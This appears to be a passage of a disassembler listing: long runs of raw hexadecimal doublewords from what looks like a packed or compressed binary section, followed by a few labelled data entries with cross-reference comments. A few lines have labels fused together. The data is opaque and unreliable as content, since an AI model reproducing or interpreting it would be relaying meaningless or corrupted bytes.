		dd 1AD5A04h, 3B5085Bh, 0FF1E755Fh, 937FFFFh, 0E8BA00CEh
		dd 8714CD52h, 0DAC0B98Ah, 91DE8C14h, 0AC6AD850h, 35A0F882h
		dd 0FD15D2B2h, 0D8D8FFFFh, 0DD1C31AEh, 0D5874516h, 186D1FD8h
		dd 16366C6Dh, 283430C5h, 68182FFFh, 973FDCFEh, 48A672D8h
		dd 7F180C88h, 4BC0901Eh, 847FFFFh, 0DF7F1013h, 41909900h
		dd 0AC04118Eh, 0E4DF121Ch, 6837EE1Ch, 42D0BFFDh, 4502ED17h
		dd 13210D4h, 11799172h,	0BFFE0720h, 581B42F4h, 0FA30971h
		dd 0C56C2D2Ch, 3660D8ECh, 0FF896AF0h, 5497FFFFh, 988788C1h
		dd 91BF01F3h, 8B80AE85h, 0B03B0381h, 9649875Bh,	62ADF4F4h
		dd 5BFF1547h, 0A441FFFFh, 12C73DEh, 96010F2Ch, 0D36FE2B5h
		dd 0F17D9641h, 99E6526Ah, 68046042h, 0FFFFD6FFh, 24B61854h
		dd 0D51BD447h, 596B5FE6h, 7D01D469h, 1437F00Fh,	70D985C0h
		dd 0C0BF9C9Ch, 0BA18EADFh, 0A0B13436h, 0AD100A4Bh, 0E0723DB7h
		dd 0A17FF4D4h, 4D26E25Fh, 6C8FFB34h, 0E3EC5898h, 590803ECh
		dd 0FFC4C526h, 586DF46Fh, 7637CA76h, 0BD347C90h, 4FECF8A7h
		dd 408D5110h, 0BFFFFFFFh, 84E89671h, 0DD5C2330h, 5E402F9Eh
		dd 379B0320h, 85720010h, 110221Ch, 6128DE13h, 0FBB8C21Dh
		dd 611DC6FFh, 555596F4h, 4320FF08h, 0F9305C8h, 20F1B44h
		dd 0FFFFD220h, 158C56DFh, 72720AFh, 0E8EF3C36h,	48D837D4h
		dd 0BF5C6AE2h, 316599DBh, 0F0BFFFE6h, 671C3DFFh, 0D51818BFh
		dd 0BA3EE561h, 0FC67F5C1h, 0B4660596h, 0A6EE1454h, 16FDCCCCh
		dd 0E439F6FFh, 0CC054390h, 2E4C03D1h, 0AC3E2CCCh, 9C082819h
		dd 37FFFEA5h, 0A226DC55h, 361894ADh, 0B6151450h, 0F0860B72h
		dd 0B4D7F8C9h, 0FFFFFF16h, 4DCFCB30h, 0F855564Dh, 67840542h
		dd 0ADCB6922h, 704BB658h, 0D1ECAD7Fh, 0FFFF85FAh, 5984E7FFh
		dd 0B97E88B3h, 915D84BBh, 7D0CC990h, 6E6CB90Dh,	0CE4185A1h
		dd 0FFFFC068h, 0E0ECFFFFh, 0B9A176CBh, 0C48F24EAh, 0F00C6C4h
		dd 597BFCCDh, 301C45Ah,	89E80F8Bh, 4BD61442h, 0FED5D6CBh
		dd 895FAB7h, 30D6C4BDh,	0A46DC8E1h, 0BFC2CEFh, 0BF0B08D0h
		dd 647B2FF4h, 7A0CB9E1h, 1ED0D56Dh, 0E4648793h,	0B5A050B2h
		dd 2B17DBFFh, 0CB3B05AFh, 6051C873h, 0EAB9FF2Dh, 7FFFFFF4h
		dd 8FB092DBh, 0B7050672h, 9DA3509h, 4013E916h, 92AB150Ch
		dd 0C8AED26h, 6ADF9321h, 38DFED8Bh, 0CE4D3BCh, 3A69D9D0h
		dd 0EDDA3125h, 2067F46Fh, 32CC1F02h, 9FE4E5C8h,	8CB21615h
		dd 0CBFC5A00h, 0B8B805DFh, 1C8721C9h, 61DE30B8h, 10B6B872h
		dd 16A837F0h, 0D4B901CCh, 909B95EAh, 0A854BE4h,	3DC2922Dh
		dd 377FE84Ah, 0C6FFE058h, 5D112C97h, 8B207574h,	37B76767h
		dd 0D646A2E1h, 3EFFFFC6h, 8B259DD5h, 0D87C7701h, 4196C3Dh
		dd 0CC324F32h, 39E9F2ADh, 0FFF56E85h, 7768B5BFh, 60EF7CD2h
		dd 9DE43857h, 0FC79FC59h, 30FF85FFh, 30CC8138h,	8CD4E9CCh
		dd 0C0777C11h, 9EFE83Fh, 5DB95377h, 4E8F584h, 0D26E05F4h
		dd 8D2AC57Ch, 5F24E977h, 45BFFC2Ah, 0FE6102C6h,	53B6B7Dh
		dd 10090140h, 0ED1451FFh, 37C6FF03h, 18A3DCAAh,	0D5B4FE1Eh
		dd 0B480E6BEh, 4B0A6F0Eh
		dd 0E4FFFE05h, 3A3E117h, 23660D9Ah, 0CBA6D492h,	0DF484B21h
		dd 0FFFFE0D0h, 4D73AD0Bh, 0DCBC2472h, 0D6F6D8EDh, 7CCA037Ch
		dd 0EBAC38E0h, 0FFFF1F06h, 6D0F5FFFh, 0DACCCCBh, 1C14A1ACh
		dd 9F181721h, 0C872B848h, 0B8CC95C9h, 0CF20E446h, 81465F10h
		dd 0FFFFFFFFh, 4C6D2712h, 14770006h, 3264E469h,	18200B26h
		dd 6590B4BCh, 0B4B46464h, 0ADFB5BEFh, 2F35B370h, 0ABD86305h
		dd 0B4344C96h, 7D6FFFC8h, 16388189h, 6CBBA88Bh,	0A83E0602h
		dd 0CB8F198Ch, 0FFFA20E5h, 50FFE25Fh, 3018CCEFh, 1A874AEh
		dd 612E383Bh, 0DE49C8A8h, 0A866964Ah, 0F638D000h, 5C0BB7FFh
		dd 0C80E3099h, 20010AE9h, 572E48E5h, 0D00746D0h, 0FF0BA723h
		dd 31CFEDB7h, 3200AC06h, 0A346302h, 0AC20CC1Ch,	0FF1C77CEh
		dd 0ACB7EDFFh, 967718F0h, 3ED2E831h, 0E319B4B0h, 1CC6C931h
		dd 0EDD40CBAh, 1072C9BAh, 18FB785Ch, 0BA4DD0EEh, 932C5343h
		dd 0E1C8D893h, 0A06FE8DFh, 650BD72Ah, 0D2A30A86h, 0EA9145BBh
		dd 0ED12970Dh, 667FFFFFh, 17232C12h, 0DCC8DE46h, 0CB2521A8h
		dd 0A8A8C8F2h, 7211C9C9h, 0C458CF46h, 6D5BFF45h, 0D45C19F4h
		dd 3D2B3CAFh, 0D4C04BD2h, 0CE4669B7h, 1B5BFF38h, 613F0AFCh
		dd 0AA0E8F10h, 92DCE72Ch, 0DC5A07AEh, 0FBDCD874h, 70FFC2F6h
		dd 648E4990h, 59D0DC26h, 0DC2BE892h, 8F90B44Bh,	1B00D027h
		dd 0EC5A85FCh, 2572E4D7h, 0C9051ED8h, 1BC0BE1Ch, 95CF2EDh
		dd 0CE181306h, 2907D941h, 0D83727FFh, 414D0D0Ah, 52BC0Eh
		dd 0FFFDBE86h, 14CEF8FFh, 7B58100Bh, 90F689A5h,	895BA723h
		dd 2C913B54h, 3F395187h, 0C9349874h, 0DFFFFFFFh, 0F5E5A57Ch
		dd 4A02868h, 0EB590661h, 14884A55h, 92BF70E5h, 680B8482h
		dd 4C9047EFh, 4BA5FF00h, 5C2E01FFh, 3900721h, 0D084E719h
		dd 3B4F7836h, 0C07214C8h, 0FFFFA1B8h, 9288A56h,	0B2819607h
		dd 1278DEDDh, 1FE03333h, 0DB6B49EAh, 1A7E0DFFh,	0E0F3033Ah
		dd 9C1F216Bh, 17162291h, 18623CD4h, 0D52FDB90h,	585530E2h
		dd 552532D6h, 0B22392D8h, 0FFFFE0D4h, 64DC52EDh, 0DCCC6407h
		dd 8B225CD8h, 14FE76B7h, 3C2CCAC8h, 95DCDD11h, 5FFC2D12h
		dd 0D8E5C98Dh, 0D2D800E7h, 0CB646600h, 0FFFFD6D8h, 0B190FE0Dh
		dd 290C831Ah, 2556B072h, 0DEB0E70Eh, 4862B6E6h,	871B16Dh
		dd 0F5BFF842h, 260180FFh, 0B8F9CA19h, 1869E7E0h, 47532244h
		dd 0F06C9B7Dh, 4751EA55h, 0B7FB7FC2h, 6CD08A0h,	51471066h
		dd 86533AE5h, 0C5DEC1Bh, 6FFE8E20h, 0FF04E974h,	0A98B60C4h
		dd 0EC189719h, 8236A995h, 0FFFFBC11h, 4A628DEDh, 0EB919C45h
		dd 1A02C94h, 0E5DC7AF1h, 0D4371D82h, 0FA1168C4h, 52F8DFFFh
		dd 50631C3Eh, 6245BA02h, 11906494h, 0EB4267BAh,	31010807h
		dd 4BFFA508h, 0F5BA97FFh, 48F08BFCh, 500B8B1Ch,	42D11B40h
		dd 6E1B3920h, 0FF9F6714h, 0CAFFFEA5h, 39D0844h,	0CE748540h
		dd 12A2C711h, 29180304h, 959E0047h, 0BF749788h,	10FFA5FDh
		dd 0D98303D5h, 0C98E6E24h, 0B034AF1h, 442D1CCFh, 0B6DDC560h
		dd 0FE3716A8h, 3A7092FFh, 54C68812h, 0EA9824B7h, 28790C59h
		dd 821ED990h, 0FF4AA5EAh, 247A5524h, 0F8C76C11h, 19522449h
		dd 0DFFFFFFFh, 82AD70BEh, 80F012E9h, 4C0B36E7h,	429C813h
		dd 73510C97h, 58E868B1h, 0E5E81Ch, 0FFD2FFBFh, 86ED44FFh
		dd 0F0E139Bh, 6303E585h, 0AD208F7Ch, 320C2007h,	1300BEA9h
		dd 0C6ACE7F1h, 78FD0BFFh, 0ED9113FDh, 5E348F8h,	7CFFDEF0h
		dd 0B2C2EF12h, 0FFFF5E62h, 8796FE25h, 1FB4199h,	9150B766h
		dd 0C27D1D88h, 746E6D43h, 2DB41A06h, 0FF12FFB0h, 173986FFh
		dd 2119C17Dh, 0C05F1A18h, 1C1A807Dh, 0E0358B5Ah, 0C116296Eh
		dd 0FFADFF0Ch, 277231FFh, 9D7304F8h, 0C72C59BDh, 45273127h
		dd 5DF9A2B8h, 360ADB4h,	0FF412EA1h, 11FFFFFFh, 0CA4DE75Eh
		dd 3560C85Ch, 4B620F01h, 0B88E1703h, 0BAE85E02h, 346D5433h
		dd 0E824C6E0h, 0A5A88283h, 6DFFFFFEh, 54CB08ECh, 166615E8h
		dd 0AC7622BAh, 43B8AD6Ah, 625FDFEEh, 0FFFC603Fh, 25FFFE37h
		dd 25DEEEE8h, 0C59BD98Ah, 667066BAh, 81448D5Eh,	9843F489h
		dd 16F999B1h, 2FFDBF04h, 8720EFFCh, 0A0EC642Fh,	680D3FB4h
		dd 30817702h, 46267B09h, 0FE880761h, 9AF46FFFh,	0C1B674A9h
		dd 4B9EC96h, 0FD20F380h, 6D9B1BE9h, 242AF6E7h, 0FA5E888Bh
		dd 0B7B0A5FFh, 0BC91396h, 1F00039h, 8F257AD1h, 7C01AF04h
		dd 37C2FFFFh, 203F2871h, 9CCA793h, 781BDB3Ah, 0A812436h
		dd 0E9B9C305h, 0E2DFFF76h, 0A4BEFFh, 66989910h,	177DA078h
		dd 8EA420D8h, 0B01D5329h, 520CC2E6h, 0FFB7FFD6h, 9FE39FFFh
		dd 0AE65A797h, 0CCF9B092h, 3BA5C09Fh, 0B48002Ch, 0D81789D5h
		dd 9E9DE32h, 0FFFE97E6h, 0E49388FFh, 8CBB64C2h,	0F5098800h
		dd 2D7317F8h, 45B904C2h, 84E98DF5h, 0FFF5D8DBh,	55FA5EA5h
		dd 5B202CBAh, 0F5A7820Eh, 720BD803h, 4DF5D9A0h,	0FFFFFFA0h
		dd 0B7A66CFFh, 0EBA0D97Bh, 0DFF405B0h, 0A8D891F4h, 0E852FE41h
		dd 38F0E15Ah, 784F27F0h, 8189BF1Bh, 0FFFFFF33h,	110C01FFh
		dd 7B3CBBF0h, 0F20AEB25h, 0D2320183h, 0CF2CDA13h, 457C4696h
		dd 48D0A78h, 93B9B354h,	0DFFFF812h, 0B7E978FEh,	5ADB8563h
		dd 0B42804ADh, 3BBF133Ah, 6E5CB04Dh, 3D3C5603h,	8DFF3C3Dh
		dd 58855F4Ah, 766DD341h, 9A2F03C0h, 6A5E243Eh, 0FFFFE02Ch
		dd 0B4A3BFFFh, 3E3DFE63h, 5F13CF7h, 0F7EE17C4h,	0C6FA121h
		dd 5215F4B8h, 0D790485h, 8DF8B7Fh, 250B18D6h, 55EB9D28h
		dd 5CC5178Fh, 0A97FFF36h, 897C26FFh, 4ECC54A2h,	0C0A32AF7h
		dd 2D31CD87h, 3A39D068h, 0C1C5181Eh, 0FFFFF835h, 0F8501CFFh
		dd 43B11B7Dh, 3D19D662h, 209A0570h, 7A358h, 0F67E4860h
		dd 203A5A2Ch, 0FE8D0371h, 8B791637h, 66CA51E2h,	75305921h
		dd 0FFBEF747h, 664BFFFFh, 0C6692F33h, 0C213B005h, 64081E20h
		dd 0FA013FE5h, 8E080h, 0A03C328h, 0FD0BFF48h, 7D948942h
		dd 0CAD03605h, 2442B15Eh, 1E8835AAh, 0FF882198h, 265A0CFFh
		dd 9DA12402h, 180B880Ch, 0CC1B20A6h, 0E044B3B6h, 907F16FFh
		dd 840E2F13h, 0B0B20225h, 28A4A43h, 838249AFh, 0DFFE17F0h
		dd 0C2B92830h, 0C62C155h, 5E2A4398h, 1201DD8Bh,	0FF20DD26h
		dd 9DBFE37Fh, 0B30B28B5h, 0F716726Ah, 0EB844FE0h, 787E6A10h
		dd 9AACB502h, 0FF9F7C41h, 62D502FFh, 0EF17D055h, 2878A35Ch
		dd 0DB3F607Fh, 0C5AE168h, 0FF6FFF8Dh, 0CB2EDA46h, 0E921DD06h
		dd 0F0E80A1Ah, 21C8C509h, 0B78FFCF0h, 0FFFFFF5Eh, 7B670DBh
		dd 0DF183391h, 70A3FA3h, 7734C59Eh, 0FBBFD730h,	889A81BCh
		dd 0A08D41B4h, 7A17FF06h, 0EB27EBE1h, 0A5A2381h, 60FBF031h
		dd 8510AF47h, 1661240Bh, 0F3FFD4BAh, 52358281h,	240C3148h
		dd 3D927480h, 0FFFF1D3Ch, 3A8A25FFh, 0E48446F3h, 4FFF5C59h
		dd 0B2530341h, 5569B485h, 2B416Eh, 0FFC0C058h, 0EC45B02h
		dd 0F478AD03h, 633C68A5h, 0F8B230AAh, 0D1FFFFFFh, 0F4F3ECA4h
		dd 0EB94968h, 0EC98A6A8h, 0E16558C3h, 0EDA0C424h, 0F41E557Ch
		dd 81B6324Dh, 5105A2DFh, 0FFA4E83h, 7F05ED93h, 0ADFE0DA1h
		dd 40879C2Eh, 40AB8B10h, 0FADB0E4Bh, 0D87042ABh, 36FFD0BAh
		dd 38400B40h, 92A5B5E8h, 5A211AA1h, 0FFFF3A47h,	746C5A97h
		dd 2C3A1047h, 0DD980759h, 90A09AAFh, 7A8468BDh,	560EA4CAh
		dd 0B606FE37h, 45D5F83h, 0CD524150h, 0FF3FA454h, 0CF25FDDEh
		dd 91AC05h, 14105CA8h
		dd 201C1807h, 302C2824h, 9FCFE7F3h, 403C3834h, 504C4844h
		dd 60B05854h, 0FCFE7F64h, 706C68F9h, 807C7874h,	908C8884h
		dd 0A09C9894h, 85EB7FA4h, 49997CBh, 0D9E8CC00h,	355759Eh
		dd 0F55F6D4h, 0FFF02D44h, 0C60352B6h, 0A69A6CB3h, 12FEECDAh
		dd 7D5B4D32h, 44276FF7h, 0A08C7458h, 0C60A36B8h, 0F0E6DCh
		dd 0FEEEBACEh, 59AEFFF6h, 3A3B9E0Ah, 62035607h,	6E2969A6h
		dd 0BAA09084h, 0F0D0334Dh, 0FFE5F108h, 5434FEDDh, 9C847229h
		dd 815292AEh, 2B1A86B9h, 115BFF7Ch, 6E9B5DBFh, 87F3A890h
		dd 6C0B50DCh, 0DB38341Dh, 0FFFFFF53h, 7D23B1FFh, 0F7FFAA66h
		dd 4BC521FFh, 0B975A44Eh, 2EB7FCCCh, 3A63FB81h,	726F775Ch
		dd 0B6A25C6Bh, 5BFFFFBFh, 32839FDh, 0BC6F5C6Eh,	885C0270h
		dd 0B7D820DFh, 702EA074h, 0EC006264h, 0FFF1BFDDh, 12BE82FFh
		dd 13C3F5BDh, 0BCB90F31h, 1907F2E4h, 2EB5190Dh,	2E4B09BBh
		dd 0FF315E2Fh, 64FB9A17h, 98339231h, 88D30515h,	7737B435h
		dd 0BAB70959h, 897F8D03h, 0C6CB27FFh, 5CC075EBh, 452910Dh
		dd 0B2B08556h, 165EB313h, 2DFFFE5Fh, 5E50FF55h,	43775A05h
		dd 316B6F6Ch, 629BB6CDh, 5F0E5067h, 15FFFFF8h, 556F4F88h
		dd 4BFE054Bh, 52046C34h, 0C1175A0Ah, 158E6C74h,	1B74B302h
		dd 0FEB7E97Fh, 23745347h, 0B28C367h, 57273E84h,	0B6E0B800h
		dd 50566FB7h, 0EA837FFFh, 106C6F6Fh, 42246154h,	0FB16CD13h
		dd 74614A50h, 0FFFF3517h, 51A9E2DFh, 306E02AAh,	6D377972h
		dd 6ADE4411h, 219ED6B2h, 50B40012h, 6FE85473h, 7B70FF44h
		dd 53B50A90h, 6C277379h, 255EDB7h, 0A9706FC7h, 6157DFDFh
		dd 4558465Eh, 36A23C6Dh, 0DFFFAAD1h, 5BFFF8h, 5DF00FFh
		dd 6378655Fh, 26685F2Ch, 1685B5B5h, 7828B72h, 1C5BDADBh
		dd 0FFFFF897h, 0B666552h, 422763C8h, 0DD732179h, 1E48B1h
		dd 51436191h, 0DC0A6A5Eh, 0FFF4BFFFh, 7B5F4A00h, 0B6657645h
		dd 0E6BADB0h, 72A266ACh, 9EE02B4Ah, 193CC19h, 0FFFF0024h
		dd 2569FFFFh, 0EC3C0077h, 614E6833h, 770622BBh,	0DB828D6Ch
		dd 6D337363h, 6D0F2370h, 2BAE671Ah, 0FFFF2967h,	0F163FF4Bh
		dd 0DCFC467Bh, 111F77Eh, 0F7706319h, 6F49020Ah,	6C7A4366h
		dd 2802EB44h, 0E05FFFFFh, 0DCFD3601h, 76E201DBh, 64247542h
		dd 430C7E44h, 0B52E0AB1h, 6C226A6Fh, 0FEB7FFF8h, 5B73EA52h
		dd 211D1AEBh, 4C6C0E52h, 4C3EDB24h, 0B7009D36h,	0FF717341h
		dd 2D37FFFFh, 660F6B78h, 0FA4D9B89h, 6D4D036Dh,	5010A0A3h
		dd 5A495CE6h, 4C620161h, 0FFF15085h, 4AA7C2FFh,	0F115832Ch
		dd 0A9724921h, 82B60B4Ah, 31B586FBh, 6EFCE7A8h,	6FFE0DFFh
		dd 0D6BA22D3h, 6805622Ch, 320EC3D1h, 0DD6FAF0Bh, 0C15394BEh
		dd 0FFF897FFh, 0F5214686h, 866C4966h, 433AD6EDh, 6F6DA66Bh
		dd 845F48CDh, 4CDF0EFCh, 0FFA37FFFh, 37A11F69h,	8574414Dh
		dd 4F98CD82h, 0C381DC83h, 79841B9Dh, 0E3153992h, 0FFFF46FFh
		dd 7C727543h, 421D90B5h, 63A0A774h, 0CCE19B0Ah,	634D5493h
		dd 6FDDDFCAh, 0FFFFDA25h, 0EC10AC1Bh, 5E70756Bh, 3D490890h
		dd 0AE1984DBh, 5FFEE176h, 0F0BA5817h, 30C3C2B5h, 0E8616201h
		dd 6E47DF96h, 0FFFFFFD1h, 2963176Bh, 0C2DA9778h, 8B293B92h
		dd 60726B45h, 6EE36AA6h, 65872E6Ch, 837FB54Fh, 767CBFFAh
		dd 6C715561h, 93664D13h, 0A7ACFA77h, 520D4E0Eh,	0FFFFFFF8h
		dd 550DB6AFh, 48782A76h, 0C24C41h, 18146E9h, 61B0EEh, 0A4E9B1EDh
		dd 45F8B453h, 0E0D0BFE5h, 7A71C897h, 1D7A6FF7h,	0A297378h
		dd 0FFF84517h, 207916FFh, 0E07110A9h, 0FD869C10h, 0F2E20B46h
		dd 492099EBh, 114C5152h, 0B037A171h, 0BA28B7FAh, 0FFE85C00h
		dd 0DDEF37FFh, 82A9A352h, 74037950h, 0FECC6D09h, 4E17D75Ch
		dd 0F6609h, 0F428372Eh,	0D802625Fh, 3E006890h, 3DA40771h
		dd 0DF8D6292h, 632EFFE2h, 0E0534100h, 0B7B22254h, 6481036Dh
		dd 9F742F7Ch, 0FFFFFFFFh, 0F544038Ch, 2630776h,	0DCD12ADh
		dd 9CD5F2FAh, 17B2BE48h, 54630054h, 41DE072h, 1D732B4Bh
		dd 0A955BFF0h, 0A2E70B41h, 0A17703h, 0E0886E80h, 6FFFFFA2h
		dd 0F70917DCh, 141BE028h, 69767C58h, 75536E78h,	61888F63h
		dd 0FFFF897Fh, 12204726h, 60D1373Bh, 41DD1060h,	3520296Ch
		dd 43E0CDF4h, 7FFFFFE1h, 524B3828h, 1BEF69FEh, 2057BFEDh
		dd 4E203D21h, 1D4C4C55h, 555254ECh, 0D52FA245h,	35A87FFEh
		dd 7F192747h, 0EC303629h, 0C2B6857Fh, 64770C24h, 0DBFFFFFFh
		dd 0BBAA2E6Dh, 1A68F75h, 0F56F4770h, 26CA740Fh,	0F1F9BACh
		dd 27732573h, 5850763h,	0FA37D0BFh, 1170400h, 0CD5CCDh
		dd 30AA1818h, 200DD743h, 0FFFFFFFFh, 9480809h, 7145B458h
		dd 0E4A623F2h, 0E0DE3C04h, 785487C2h, 3DC96C6Dh, 3A6E8C22h
		dd 6B704473h, 0FFFFFFFFh, 18137025h, 9AD06D2Dh,	0F5F18228h
		dd 8226103Ah, 764FBEA6h, 8A202231h, 0CDFD669h, 0F856820Dh
		dd 0FFFF817Dh, 2E313297h, 0B7152230h, 0D3EFB0Fh, 4B2F3C0Ah
		dd 44011F3Eh, 0FFFF1544h, 0BED6FFFh, 858589Ah, 2BAA6F0Fh
		dd 8CC02946h, 303C3026h, 0FE5FFFFFh, 315D30BCh,	0FFFF3190h
		dd 32DBF56Fh, 72253241h, 93327B32h, 0CF32BA32h,	0E330032h
		dd 114B2633h, 77FFFCh, 2B33FFFFh, 5F335533h, 6E336433h
		dd 0E533DF33h, 3495199Ch, 0FC0B341Fh, 3426FEB7h, 34393433h
		dd 5B34CA49h, 68346134h, 34608534h, 0FFB1FFFFh,	34A43497h
		dd 34B134ABh, 34BD23B7h, 34E534E0h, 350034FBh, 35713550h
		dd 6FFF3584h, 358FFFFEh, 35D73599h, 35F235DCh, 360D35F7h
		dd 36B712h, 37D337ACh, 37F137D8h, 0FFBFFFF6h, 380F37FFh
		dd 38763814h, 38A3387Bh, 38C138A8h, 5F4338C6h, 0C639BC39h
		dd 0DF39D539h, 502FD439h, 0ED3A46E0h, 323BEC4Ch, 0FA3B483Bh
		dd 8ABD6FB7h, 0F4E3C02h, 0FE3C5D3Ch, 3CDDFC94h,	3D523CF9h
		dd 5FFBBFE2h, 0B79420CBh, 0F234AF32h, 0EF378A34h, 0D435BF61h
		dd 72362F35h, 5FF4BFFFh, 36DF3677h, 371A3705h, 6B37193Ch
		dd 22380437h, 0B1386C38h, 0A9EDFFF4h, 7DF055BFh, 0E079B38h
		dd 397D396Ch, 0FF86399Bh, 387FFFFFh, 0DFFF3AE1h, 7780BFFEh
		dd 5E3B493Ah, 0E3BF03Bh, 3C203Ch, 3C6B3C4Dh, 3D2E3D10h
		dd 0FFFFFF56h, 3D5B3DEFh, 8D3D7C8Dh, 263D973Dh,	633E3B3Eh
		dd 823E763Eh, 0C43EA13Eh, 0DA3ECE3Eh, 6FFFFA3Eh, 0A13F83FFh
		dd 0F63FB33Fh, 0D3CD213Fh, 0CC143FFBh, 302D301Ch, 30CF3037h
		dd 7FFF30E4h, 1F2337F7h, 4A312B31h, 6D313C0Dh, 83317731h
		dd 5C323E31h, 0C6329232h, 0EEFA9732h, 0EC32CBFFh, 1B32FD32h
		dd 7E434C33h, 0A133F8E6h, 72FBAB33h, 0FFDFFF34h, 0BB34B6FFh
		dd 0ED34DC34h, 3C350B34h, 6E354F35h, 78359135h,	3644359Bh
		dd 36A63662h, 0FFFFF6ABh, 36CC36FFh, 36EA36DDh,	3743372Eh
		dd 37753762h, 37A03781h, 37CD37C3h, 0DFC2FFADh,	0EFFF09D9h
		dd 38DAFFFEh, 4C391741h, 0F539E039h, 0F7AF0639h, 3A2F3A37h
		dd 3AB03AA9h, 3E603E4Dh, 5FF7774h, 3E783EFEh, 3E803E7Ch
		dd 0AF3EAA9Bh, 0CB3EB53Eh, 0E77F1FADh, 0D1BFFF3Eh, 53EF2FFh
		dd 153F0F3Fh, 193F1B3Fh, 3F433F32h, 3F503F4Ah, 3F703F5Eh
		dd 37FFFF7Ah, 3F8B3FF8h, 0FFB07F92h, 0AC3F983Fh, 0EA3FD63Fh
		dd 0BA840CBh, 21301B30h, 56E2DF30h, 30912BBFh, 6B30A635h
		dd 308230FBh, 0FF5BEE8Ch, 309730FFh, 30A4309Eh,	314B3144h
		dd 31A03191h
		dd 0AC31BAA4h, 0A8F1F85Bh, 0B0EADFFEh, 3210FE31h, 323C3225h
		dd 32543246h, 0A37F3261h, 328BB7F0h, 0E3EBC187h, 0EA6D683Bh
		dd 0F632F032h, 0F6FFFF32h, 232FCFFh, 143D0833h,	20331A33h
		dd 0BFFF1643h, 3332332Ch, 333E3338h, 334A3344h,	0BDFFE50h
		dd 335633FCh, 9D62335Ch, 73337451h, 3380337Ah, 338C3386h
		dd 0EFFFFFFh, 339E33C0h, 33AA33A4h, 33B633B0h, 33C233BCh
		dd 33CE33C8h, 0D2CD33D4h, 5B7C3D0h, 33DAFFFEh, 33E633E0h
		dd 5031F2D1h, 77E41C24h, 0FFFF56FFh, 312C3120h,	313C3130h
		dd 314C3140h, 5D5C3150h, 70316C31h, 0FF317C31h,	80FE005Fh
		dd 23E25831h, 2F945008h, 97F02A00h, 544820BEh, 0FF2F5054h
		dd 71FFFA37h, 5C070DEDh, 0CB634103h, 2A2F2A55h,	122DFC22h
		dd 542D0269h, 0A9657079h, 3AFFD5BFh, 23896289h,	95617045h
		dd 8BB5FC2Fh, 3B2B2DA0h, 0FFD5528Fh, 0E46EC27Fh, 3D33A380h
		dd 0E2AB002Dh, 6437BF8Dh, 0FF80CE37h, 3064FA17h, 17528163h
		dd 412D0D85h, 71525767h, 4BFF6480h, 5A6B05FCh, 882B712Bh
		dd 5E9A1008h, 5CD65D0Bh, 0FF4828DBh, 19FFFFFFh,	4C879D22h
		dd 0BDD28A8Eh, 68746704h, 1E716413h, 6C7B0216h,	69444275h
		dd 2E0689DAh, 0FFFB6158h, 47FFFFFFh, 0CB151E0Dh, 0CD7481C7h
		dd 0B7DB04Ah, 1D660C22h, 0A1231510h, 2E678ABBh,	6B0B2214h
		dd 0A9497DADh, 0A6FFFFFFh, 18636F2Fh, 0AB4AB17h, 325ACDACh
		dd 45990397h, 0D5AEB28h, 81002030h, 0FFFF8B2Eh,	28C4067Fh
		dd 0DC8D2900h, 670254C5h, 0AC4145B0h, 0CF906419h, 0A4A80F07h
		dd 0FFFFF1C6h, 2190197Fh, 0BA98039Ch, 4066901h,	885F0690h
		dd 406E92D8h, 0B1800F05h, 97D81C50h, 662FF828h,	6C29020Bh
		dd 12D525B0h, 0E9C8B605h, 66FF5BFFh, 0A9031F3Dh, 0A113F20Fh
		dd 26820040h, 9773626Eh, 0D8C70D8Ch, 0EDDBC07Bh, 29F8547Fh
		dd 0C339CD5Ch, 0C0004065h, 62213203h, 0A17B7FD3h, 2007ACBFh
		dd 0FE937874h, 6D7479BEh, 70600827h, 2717068h, 0F9C5BE2Dh
		dd 45612EF3h, 43881764h, 0C155BFF8h, 0BB6D3474h, 681016D8h
		dd 61772D27h, 0B7FFFFFFh, 6EB7D2B8h, 2E2A0BDFh,	7646002Ah
		dd 721C6A67h, 7C765A5Ch, 0EEF7DBFAh, 0D6662h, 5CFFFFE2h
		dd 34F4E4Ah, 6F6E0434h,	79765320h, 97DDFB7Eh, 0FFFF41EAh
		dd 2F05DFFFh, 637A7247h, 6C2C6562h, 67615620h, 9B637FA3h
		dd 1E677292h, 62595766h, 0FF936E70h, 55FFFFFFh,	466DDAE1h
		dd 0C1766712h, 0A96EAB11h, 52504FDFh, 4C49464Fh, 5C6C3AF1h
		dd 935B6EBh, 0FF475C62h, 76FFFF6Fh, 0B600F00h, 0FA086F56h
		dd 0AC45640Fh, 0C6249EFEh, 9779732Eh, 220D6078h, 0FF1BDAC5h
		dd 53FFFD2Fh, 884C5259h, 4D455717h, 183A835Ch, 5C604B11h
		dd 5B279C53h, 0A724BDA0h, 0D0BFF539h, 4220FA1Bh, 75D72F4Eh
		dd 6461FA73h, 0BFAA5322h, 336837D4h, 0D3B2F2C6h, 13479B86h
		dd 0FF6F3033h, 0A0FFFFFFh, 84E5C816h, 9EC9FCA9h, 0F639F26Ch
		dd 6B0FD407h, 2192403Dh, 0E91FC899h, 85C80ED0h,	6A40781Ch
		dd 80FFFC1Bh, 34EC5F57h, 5B1BDB9Fh, 311D0B03h, 1CC96F67h
		dd 0DFFE97FFh, 0C21F732Ch, 5F2F645Eh, 7B40C777h, 0E487245Ch
		dd 517F00CCh, 0C285C982h, 0BCB7FFFFh, 0D884DC36h, 0ECBB01Bh
		dd 89FB867Dh, 7CC78C0Bh, 1401FC85h, 0B6DF76A2h,	0A218FFFFh
		dd 0D840A324h, 0A3B215EDh, 7B1BA464h, 0B73C87A4h, 6D1BABF4h
		dd 0FFFEDFABh, 0ACA9C7FFh, 481B7085h, 0AD041BADh, 0E48BC67h
		dd 0AEF2C0C9h, 4896BC0Eh
dword_3E3000	dd 0C2B0C753h						; sub_3E51D6+D8r ...
dword_3E3004	dd 0FDBFFF1Fh	dword_3E3008	dd 0C86D2FBBh						; sub_3E5950+Er ...
dword_3E300C	dd 815FCDCFh						; .data:00417E4Fr
dword_3E3010	dd 312212D0h						; sub_3E5546+FCr ...
dword_3E3014	dd 0CD1FF9Fh						; sub_418560+10r
dword_3E3018	dd 71857922h						; .data:003E5DCEr ...
		dd 0AFD1CBh
dword_3E3020	dd 0C4A2DFD6h						; .data:004185D5r
		dd 0A1D442FFh, 7B1FE2ECh, 5DC0EBD8h
dword_3E3030	dd 28C904B5h, 0FF52FA2Ah, 413448A5h, 9A160102hdword_3E3040	dd 0B22FB066h, 5180407h, 3BFF106Fh, 60D69A4h, 0C10C0709h
					; DATA XREF: sub_3E5151+26o
dword_3E3054	dd 0BCA41906h, 0DFBDF61Bh, 17F8DFFEh, 3B570B90h, 7482573Dh
					; DATA XREF: sub_3E5151:loc_3E519Ao
		dd 13100D83h, 90120311h
